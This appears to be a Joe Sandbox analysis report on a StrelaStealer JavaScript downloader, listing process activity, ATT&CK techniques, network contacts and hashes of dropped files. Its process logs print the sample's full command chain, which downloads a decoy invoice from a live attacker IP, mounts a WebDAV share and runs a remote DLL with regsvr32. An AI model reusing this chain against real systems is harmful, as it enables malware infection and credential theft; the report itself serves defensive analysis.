Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
21534160892486631756.js	5%	Virustotal		Browse
21534160892486631756.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/y	net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1808546811.000001D78C6A2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/R	net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/r	net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://193.143.1.205:8888/-	net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/j	net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3018064057.000001D78C811000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1790570218.000002105E9DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791539275.000002105E9DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1808546811.000001D78C6A2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.mi	svchost.exe, 00000008.00000002.3018230175.000001D78C8C5000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588337
Start date and time:	2025-01-11 00:38:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	21534160892486631756.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 23.209.209.135, 50.16.47.176, 34.237.241.83, 54.224.241.105, 18.213.11.84, 199.232.210.172, 184.28.90.27, 2.22.242.123, 2.22.242.11, 4.175.87.197, 23.195.92.153, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:39:37	API Interceptor	29x Sleep call for process: powershell.exe modified
18:39:42	API Interceptor	1x Sleep call for process: net.exe modified
18:39:43	API Interceptor	2x Sleep call for process: svchost.exe modified
18:39:51	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073486076686647
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrr:KooCEYhgYEL0In
MD5:	F92C39BC46D95534EC7D4D2B184B1D3E
SHA1:	D6FA4ADC45B4E79B93DA075C96E6E72A4C7F64C9
SHA-256:	92233C9A48F97C107AE739E8218080C2F7A4441716B54F9D6B4ED450466CFC85
SHA-512:	76AE77251813C5A3DDB04447773A6992782B0F9FECE7BFC161F19416FD9B4F5DF4AF9FF06A161E2EB8218E48DE7F131B819E8E089EC7F075A92EB3CEA7A0474B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb8808a54, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422112615924594
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	6ED508491925B65CCB5CAC9F93831EF7
SHA1:	17ECD67DFE4D506510334447725D1C391805D453
SHA-256:	AF57201D7DF4939434DD465EC837B7A9F5C68EA450FC05E4291A44C86D7C6405
SHA-512:	5B985D9201AB56E986C87FDAF7F95E5DBB8E8AE4E41361CA934353DCC9B023C6D84607543EFB95D44575791C55D9EED535CBE4A7490BB7AFFBA44474B880AA01
Malicious:	false
Preview:	...T... .......A.......X\...;...{......................0.!..........{A.,'...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................r..j,'...}...................v.),'...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07568025751744088
Encrypted:	false
SSDEEP:	3:prOmlXKYe+KYjuvCjn13a/7MJCD/AllcVO/lnlZMxZNQl:FJ1Kzgjua53qIJC7AOewk
MD5:	C9D2E821A370D74238CF4CD67B6F24A0
SHA1:	6A1A3E67141B98C45413869198F64322184A156D
SHA-256:	E72F75F6718A2FFCBB4A15E598FAA2CFAA2989B598AC1A88BADEB37CDCD69916
SHA-512:	BCB3F3A4A84B402362625469AEE916FC944B261B5CFDB02F01C9A258F72516576A86BCD9D56C4740CC1B2ED2891E9A00B31CDE800070A045B9721DBD5C49AAEA
Malicious:	false
Preview:	.5N+.....................................;...{..,'...}.......{A..............{A......{A..........{A].................v.),'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264091315292402
Encrypted:	false
SSDEEP:	6:iO4IVpyq2Pwkn2nKuAl9OmbnIFUtSI5Fz1ZmwsI4RkwOwkn2nKuAl9OmbjLJ:7/3yvYfHAahFUtFbZ/b4R5JfHAaSJ
MD5:	FA7BDACDD4A999528CE6B4C715F8FA40
SHA1:	C6E57B0410E7D86BA5F5A88DB1D27EB620C02A73
SHA-256:	E3E0AB78CABF75569C36C352A181F0F7F555B4B51C0C9F4A7ADAEB03FF73399E
SHA-512:	712C3D38BD73BED409261EC2B225BA2ED30E0E9235721658C502DC26EE2E81EC5342EFCA6BB939734E22FE9E92D0A07399F7810F2626EAD8FAD4002FB123CC2C
Malicious:	false
Preview:	2025/01/10-18:39:43.773 1734 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:39:43.775 1734 Recovering log #3.2025/01/10-18:39:43.776 1734 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264091315292402
Encrypted:	false
SSDEEP:	6:iO4IVpyq2Pwkn2nKuAl9OmbnIFUtSI5Fz1ZmwsI4RkwOwkn2nKuAl9OmbjLJ:7/3yvYfHAahFUtFbZ/b4R5JfHAaSJ
MD5:	FA7BDACDD4A999528CE6B4C715F8FA40
SHA1:	C6E57B0410E7D86BA5F5A88DB1D27EB620C02A73
SHA-256:	E3E0AB78CABF75569C36C352A181F0F7F555B4B51C0C9F4A7ADAEB03FF73399E
SHA-512:	712C3D38BD73BED409261EC2B225BA2ED30E0E9235721658C502DC26EE2E81EC5342EFCA6BB939734E22FE9E92D0A07399F7810F2626EAD8FAD4002FB123CC2C
Malicious:	false
Preview:	2025/01/10-18:39:43.773 1734 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:39:43.775 1734 Recovering log #3.2025/01/10-18:39:43.776 1734 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.253447205258445
Encrypted:	false
SSDEEP:	6:iO4GJ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSGTRSZZmwsGTRSNVkwOwkn2nKuAl9OmT:73+vYfHAa8uFUtRm/PiV5JfHAa8RJ
MD5:	E398AE8A2B854B8B36BD77F0F05A7F5D
SHA1:	9B0C11EA99D4ED8D70744000FDB18654B0D0D7B0
SHA-256:	E604EAF6EE90B227E72FD6A7BD39AEACFF23FCB10946E124DDF7947C25D80498
SHA-512:	FAEC5138AC1CD6FBE55BDF6906ED3045222987DADABEDC7AD0C12F6BAFCBFD6CC861F21D76834CBEACC173DF6A8EB9A8A5220DD21421FD2CE2D03F9DE6F53BC3
Malicious:	false
Preview:	2025/01/10-18:39:43.793 84c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:39:43.796 84c Recovering log #3.2025/01/10-18:39:43.796 84c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.253447205258445
Encrypted:	false
SSDEEP:	6:iO4GJ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSGTRSZZmwsGTRSNVkwOwkn2nKuAl9OmT:73+vYfHAa8uFUtRm/PiV5JfHAa8RJ
MD5:	E398AE8A2B854B8B36BD77F0F05A7F5D
SHA1:	9B0C11EA99D4ED8D70744000FDB18654B0D0D7B0
SHA-256:	E604EAF6EE90B227E72FD6A7BD39AEACFF23FCB10946E124DDF7947C25D80498
SHA-512:	FAEC5138AC1CD6FBE55BDF6906ED3045222987DADABEDC7AD0C12F6BAFCBFD6CC861F21D76834CBEACC173DF6A8EB9A8A5220DD21421FD2CE2D03F9DE6F53BC3
Malicious:	false
Preview:	2025/01/10-18:39:43.793 84c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:39:43.796 84c Recovering log #3.2025/01/10-18:39:43.796 84c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fc91902-41e6-4858-992f-55792374fa74.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF519168.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e39eed60-766b-4e5f-a088-59233941ea01.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.951593805245419
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLhuHWsBdOg2HHcaq3QYiubInP7E4TX:Y2sRdsndMHm3QYhbG7n7
MD5:	114F9A4F2AF73272B9364CF74E0C4428
SHA1:	426A3B8303848EA25E684CB40FBC135FA1836DBE
SHA-256:	1326B7837116B47CFADAFCEC74F9290FB2F607EF8AF543512DD0B8F5798E3924
SHA-512:	295863C61D48B920ACFC5A61A705F64D8CBBD0AF2D27E434AA9755BFF672CF2B8E2F6BD805FA511CBA97BB0FDB861A5CD6FC7CED2E93B004BF8DF5314F343019
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381112394353501","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139426},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256540537404695
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo76xmh2t:etJCV4FiN/jTN/2r8Mta02fEhgO73go8
MD5:	37B05E07CC3C724B1D3C5D38C4A4BEA1
SHA1:	162580374AC5D8E06AB3B7FB1D1A088981A57C90
SHA-256:	0CDC4D9D3D35978193179FD8856FA23AF14566446C4BD6705B92E7422A612F70
SHA-512:	E085DEB13F3A0BEE5EE2523E61878D05914C2749B242C64EC674A2538CC4B0880E12CA7A14FC8EE6958CFC1BCC6E6FDC1002E5EF12700D44EBE8E5A8F8B3651C
Malicious:	false
